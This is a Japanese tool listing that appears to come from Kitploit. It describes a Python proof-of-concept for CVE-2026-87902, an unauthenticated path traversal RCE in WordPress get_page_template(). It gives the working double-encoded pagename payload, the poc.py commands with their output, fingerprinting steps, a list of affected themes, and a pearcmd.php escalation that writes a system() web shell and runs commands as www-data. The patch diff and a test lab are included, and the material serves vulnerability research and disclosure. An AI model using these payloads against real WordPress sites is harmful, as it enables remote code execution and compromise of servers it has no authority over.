CVE-2026-87902 — CVE-2026-87902 の Python PoC。get_page_template() を介した認証不要の WordPress パストラバーサル RCE で、バージョンフィンガープリンティング、テーマチェック、オプションのファイルインクルードを備えています。 | Kitploit
ツール / GitHub / vulpecuna / cve-2026-87902
vulpecuna/cve-2026-87902 CVE-2026-87902 CVE-2026-87902 の Python PoC。get_page_template() を介した認証不要の WordPress パストラバーサル RCE で、バージョンフィンガープリンティング、テーマチェック、オプションのファイルインクルードを備えています。
3 1 5 22時間46分前コミュニティで最も使われているツールを見つけましょう。
過去7日間 過去30日間
アドバイザリ GHSA-7hp8-65ch-5whp製品 WordPress <= 7.1.1、7.1.2 で修正済み。両バージョンをテスト済み シンク wp-includes/template.php、get_page_template()原因 pagename から構築された候補が validate_file() を通過しないアクター 匿名、アカウント不要、Cookie 不要、CSRF トークン不要 手法 単一の GET、2 つのパラメータ 影響 任意のオンディスク .php が WordPress プロセス内でインクルードされ実行される エスカレーション PEAR ガジェットが悪用可能な場合のリモートコマンド実行。PHP とエスカレーション を参照 ターゲットへの書き込み デフォルトの --include ではなし ここでの再現 6 リリース、7 テーマ、4 PHP バージョン
リクエスト GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1
<payload> は page- ディレクトリ、トラバーサル、ターゲットであり、すべてのドットとスラッシュが二重エンコードされている:
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
フィールド 役割 pagenameペイロード。WP_Query はこれを sanitize_title_for_query() に通し、これはリテラルのドットをダッシュに書き換えるがパーセントエンコードされたオクテットは保持する。その後 get_page_template() が urldecode() を呼び出して結果をパスにデコードする page_id任意の公開ページ。これによりクエリは 404 を返す代わりに投稿にマッチする。これがないとページテンプレートは読み込まれない
コアは page-{urldecode($pagename)}.php を構築し、スタイルシートディレクトリに対して解決する。エンコードが必要: sanitize_title_for_query() はリテラルの .. を - に書き換える。
前提条件 # 条件 理由 1 有効なテーマがトップレベルの page-* ディレクトリを持つ 名前は page-{payload}.php であるため、その最初のセグメントがディスク上で解決される必要がある 2 フロントページでも投稿ページでもない公開ページが 1 つ is_front_page と is_home は is_page より先に試行される3 ターゲットファイルが .php で終わる コアが拡張子を追加する
アップロードされたコンテンツは不要、サイト設定・テーマ・コアへの変更も不要。
影響を受ける 26 テーマはすべてディレクトリを page-templates と呼ぶ。poc.py は themes.json から名前を取得し、そこにないテーマには page-templates を仮定し、--root でカンマ区切りのリストで上書きする。
Windows ホストでは前提条件 1 が崩れる。 Win32 は .. を字句的にキャンセルするため、存在しないセグメントもその後の .. によってキャンセルされる。
パス 結果 C:\...\wordpress\page-nothing\..\README.md存在する C:\...\wordpress\page-nothing\README.md存在しない
Windows 11 で os.stat を使用してテスト済み。これは PHP の file_exists() と同じ Win32 パス処理を使用する。WordPress 自体は Windows では実行されていない。
使用方法
チェック、デフォルト テーマと 2 つのバージョンを特定し、page-* ディレクトリが存在するかどうかを問い合わせる。何もインクルードまたは実行されない。
python3 poc.py --target https://example.com
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
page-<root>/ への応答解釈 200ディレクトリが存在し、リストされる 404そのようなディレクトリはない 403結論が出ないため、page-<8 random hex>/ へのコントロールリクエストを 1 つ続ける 403 の後コントロールが 404拒否は存在に関するもので、ディレクトリは存在する 403 の後コントロールも拒否サーバーは何を問い合わせても拒否する、終了コード 4
影響を受けるには両方が必要: ディレクトリが存在し、バージョンが 7.1.1 以下であること。
エクスプロイト まずチェックを実行し、チェックがターゲットを除外しなかった場合にファイルをインクルードする。
python3 poc.py --target https://example.com --exploit
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
レンダリングされたテーマテンプレートは常に wp_head() を通じて /wp-content/themes/ を参照するが、テーマ外からインクルードされたファイルは参照しない。これが判定ルールである。
オプション オプション デフォルト 効果 --target URL必須 テスト対象のデプロイメント --exploitオフ チェック後にファイルをインクルードする --include PATHwp-admin/install.phpインクルードする .php。相対パスは WordPress ルートから解決され、絶対パスは --depth で遡る --depth N7絶対 --include のための ../ ホップ数 --root NAME[,NAME]themes.json から試行する page-* ディレクトリ、page- プレフィックスなし --page-id ID検出 ページ検出をスキップ --theme SLUG検出 テーマ検索をスキップ --theme-version V検出 テーマバージョン検索をスキップ --no-versionオフ バージョンを知ることだけを目的としたリクエストを行わない --core-json PATHcore.jsonリリースフィンガープリント、バージョンを開示したものがない場合にのみ読み込まれる --traceオフ すべての交換を出力 --jsonオフ 1 つの JSON オブジェクト、それ以外は何も出力しない --yesオフ 確認をスキップ
コード チェック エクスプロイト 0影響を受ける テーマ外の .php がインクルードされた 1影響を受けない インクルードされなかった 2応答なし、または応答が WordPress でない 同じ 3使用法、または確認で拒否された 同じ 4結論が出ない、403 と 7.1.x のケースを参照 使用されない
デフォルトの --include は wp-admin/install.php: すべての WordPress で出力は紛れもなく、何も変更しない。
TLS 証明書は検証されない。期限切れ、自己署名、ホスト名不一致のものも受け入れられる。
バージョンフィンガープリンティング ソース コスト 7.1.1 の場合ホームページの generator メタ 無料 正確なバージョン /wp-includes/ アセットの ?ver=無料 正確なバージョン /?feed=rss21 リクエスト 正確なバージョン /wp-links-opml.php1 リクエスト 正確なバージョン 提供されたアセットの sha256 を core.json と照合 1 リクエスト それらのバイトを提供するリリースの集合
core.json は公開された 112 リリースと 7.1.2 をカバーし、それぞれ 4 つのアセットを含む。それらを交差させると 9 リリースを正確に特定し、中央値で 4 候補が残る。影響を受けるにはすべての候補が 7.1.1 以下である必要がある。
7.1.1 と 7.1.2 は外部から区別できない。 異なる 3 つのファイルは wp-admin/about.php、wp-includes/template.php、wp-includes/version.php であり、いずれも提供されない。バージョンを隠す 7.1.x サイトは終了コード 4 を返す。
テーマ wordpress.org で最もインストールされている 200 テーマ。26 が page-* ディレクトリを持ち影響を受け、合計で 9,027,090 アクティブインストールのうち 765,500。他の 174 は前提条件 1 を満たさない。
テーマ バージョン インストール数 page-*ステータス 確認済み neve4.2.11 200,000 page-templates🔴 影響あり lab sydney2.71 80,000 page-templates🔴 影響あり lab hestia3.3.6 70,000 page-templates🔴 影響あり lab inspiro2.2.3 60,000 page-templates🔴 影響あり survey colibri-wp1.0.169 50,000 page-templates🔴 影響あり survey twentyfourteen4.6 50,000 page-templates🔴 影響あり lab twentytwelve4.9 50,000 page-templates🔴 影響あり lab colormag4.2.5 40,000 page-templates🔴 影響あり lab zakra4.3.3 30,000 page-templates🔴 影響あり survey spacious1.9.12 20,000 page-templates🔴 影響あり
lab は poc.py でストックイメージに対してエンドツーエンドでテスト済みを意味し、survey はディレクトリがテーマアーカイブから読み取られ、テーマが立ち上げられなかったことを意味する。
テスト済みで影響を受けないもの、いずれも page-* ディレクトリを持たない: astra、kadence、twentysixteen、twentyseventeen、twentytwentythree、twentytwentyfive。
hestia、neve などが提供する front-page.php は影響の有無を変えない。リクエストに対してフロントページの ID を除外するだけである。
バージョン リリース イメージデフォルトテーマ 影響を受けるテーマの場合 確認済み 7.1.2 🟢 影響なし、twentytwentyfive 🟢 影響なし、neve lab 7.1.1 🟢 影響なし、twentytwentyfive 🔴 影響あり、neve lab 7.1.0 🟢 影響なし、twentytwentyfive 🔴 影響あり、neve lab 7.0.4 🟢 影響なし、twentytwentyfive 🔴 影響あり、neve lab 6.8.3 🟢 影響なし、twentytwentyfive 🔴 影響あり、neve lab 6.1.0 🟢 影響なし、twentytwentythree 🔴 影響あり、twentytwelve lab 4.9.8 🟢 影響なし、twentyseventeen 🔴 影響あり、twentytwelve lab 他の 105 リリース 未測定 未測定 未測定
テーマバージョン 前提条件ではなく、page-* ディレクトリが前提条件である。neve 4.2.11 は 6.8.3 以上で、twentytwelve 4.9 は古い 2 つのコアで使用された 7.1.2公開イメージなし。lab/run.py --core 7.1.2 でテスト済み。これは公式リリースアーカイブを 7.1.1-apache に適用する すぐに使える状態 4.1 以降のリリースは影響を受けない。twentyfifteen から twentytwentyfive は page-* ディレクトリを持たない。twentyfourteen と twentytwelve は持ち、3.8 から 4.0 および 3.5 のデフォルトであり、それらのイメージは公開されていない プル不可 公開された 112 タグのうち 15: 4.5.3-apache より古い 14 は containerd 2.1 が拒否する v1 マニフェストを使用し、4.5.3-apache はレジストリが提供できないレイヤーを持つ
リリースごとに公開された PHP バリアント。これが以下のエスカレーションを決定する:
WordPress リリース -apache として公開された PHP バリアント4.1.x から 4.5.xなし、プレーンタグのみ、5.6 4.6.x から 5.0.x5.6 7.0 7.1 7.2 7.35.1.x から 5.5.x7.1 7.2 7.3 7.45.6.x から 6.0.x7.2 7.3 7.4 8.0 8.16.1.x から 6.6.x7.4 8.0 8.1 8.2 8.36.7.x8.1 8.2 8.3 8.46.8.x と 6.9.x8.1 8.2 8.3 8.4 8.57.0.x と 7.1.x8.2 8.3 8.4 8.5
PHP とエスカレーション ファイルインクルージョンは 4 つのイメージすべてで成功し、pearcmd.php はそれぞれに存在する。ガジェットを通じたコマンド実行には register_argc_argv がオンである必要があり、php8.5 イメージはこれをオフにしている。
イメージ PHP register_argc_argv$_SERVER['argv']pearcmd.php 経由の RCE確認済み 7.1.1-php8.2-apache8.2.33 オン、値あり 🔴 uid=33(www-data) lab 7.1.1-apache8.3.33 オン、値あり 🔴 uid=33(www-data) lab 7.1.1-php8.4-apache8.4.25 オン、値あり 🔴 uid=33(www-data) lab 7.1.1-php8.5-apache8.5.10 オフ、null 🟢 到達せず lab
CLI ではなく apache2handler を通じて読み取られ、CLI は設定を強制的にオンにする。RCE 列の背後にある 2 つのリクエスト:
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py はファイルをインクルードするが、ガジェットを操作しない。--include /usr/local/lib/php/pearcmd.php --depth 7 で到達する。8.5 イメージでは pearcmd.php 以外のガジェットは探されなかった。
修正 wordpress-7.1.2.zip から読み取った。2 つの変更。
// wp-includes/template.php, get_page_template()
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
最初のものが脆弱な分岐を修正し、2 番目のものはそれが何によって生成されたかにかかわらず、すべての解決されたテンプレートパスをチェックする。テスト済み: 7.1.2 で neve が有効で page-templates が存在する場合、同じリクエストはインストーラの代わりにテーマ自身のページ、55,084 バイトをレンダリングする。
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
違い WP_Query をその post_name 分岐に迂回させ、これは pagename を書き換えないため、リテラルの .. が機能する必要なもの single.php を持たないテーマ。is_single は is_page より先に試行されるためテスト済み 7.1.1 で bloghashここにある理由 サニタイザのみを強化する修正を生き延びる。上記の封じ込めチェックはこれも閉じる
ラボ python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
行ごと イメージ 公式 wordpress:<tag>、未変更 分離 独自のコンテナ、独自のポート、共有 MariaDB 内の独自のデータベース インストール HTTP 経由で wp-admin/install.php を通じて、バージョンに一致する wp-cli を必要としない 状態 インストーラが残すまま、公開ページ 1 つ、アップロードなし 駆動方法 poc.py --exploit、行は外観ではなくインクルージョンを測定する
オプション デフォルト 効果 --jobs N2並列の行数 --theme SLUG[@VERSION]なし すべての行にインストールして有効化 --core VERSIONなし その公式リリースをイメージのコアに適用する。これがイメージのないリリースを実行する方法 --keepオフ インスタンスを起動したままにし、管理者パスワードを最後に出力 --pruneオフ この実行がプルしたイメージを削除 --port-base N8110最初のポート、行ごとに 1 つ、127.0.0.1 のみ --db-imagemariadb:10.6データベースイメージ --timeout N180コンテナが応答するまでの秒数 --out PATHlab/results.json行ごとの詳細
終了コード: 0 すべての行が測定された、1 少なくとも 1 つが測定されなかった、2 Docker がないか実行するものがない、3 使用法または拒否。WordPress イメージは 600 MB から 1.1 GB であるため、--prune なしの --all は数十 GB になる。
.github/workflows/lab.yml は PoC またはラボへの変更ごとに 4 行を実行し、毎週実行する: 7.1.1 と 6.8.3 の影響を受けるテーマ、イメージデフォルトテーマ、php8.5 バリアント。それぞれが期待される終了コードをアサートする。
参考文献 その PoC から取られた 2 つのアイデア、どちらもここで最初にテストされた:
アイデア 採用 テスト済み ページリストのフォールバックルートとしての /index.php?rest_route= と /wp-json/ はい 検出は 3 つのうちの 1 つを通じて成功する 独自のページテンプレートを持たないページを優先する。get_page_template() がそのテンプレートを最初に試行するため はい、順序付けとして それを持つページを強制しても 7.1.1 で再現したため、最悪でも 1 リクエストのコスト
ファイル poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
要件: Docker、Python 3.8+、サードパーティパッケージなし。
hueman3.7.27 20,000 page-templates🔴 影響あり survey
bloghash1.0.30 10,000 page-templates🔴 影響あり lab
botiga2.4.9 10,000 page-templates🔴 影響あり survey
tutorstarter4.0.3 10,000 page-templates🔴 影響あり survey
mesmerize1.6.187 10,000 page-templates🔴 影響あり survey
flash1.4.12 10,000 page-templates🔴 影響あり survey
shapely1.3.6 10,000 page-templates🔴 影響あり survey
silverstorm1.0.36 8,000 page-templates🔴 影響あり survey
prespa1.7.8 8,000 page-templates🔴 影響あり survey
hybridmag1.1.4 6,000 page-templates🔴 影響あり survey
chromenews6.2.10 5,000 page-templates🔴 影響あり survey
morenews4.3.10 5,000 page-templates🔴 影響あり survey
newsexo9.1 2,000 page-templates🔴 影響あり survey
reviewnews2.0.5 1,000 page-templates🔴 影響あり survey
the8-shop-dark1.0.5 400 page-templates🔴 影響あり survey
newsonline0.6 100 page-templates🔴 影響あり survey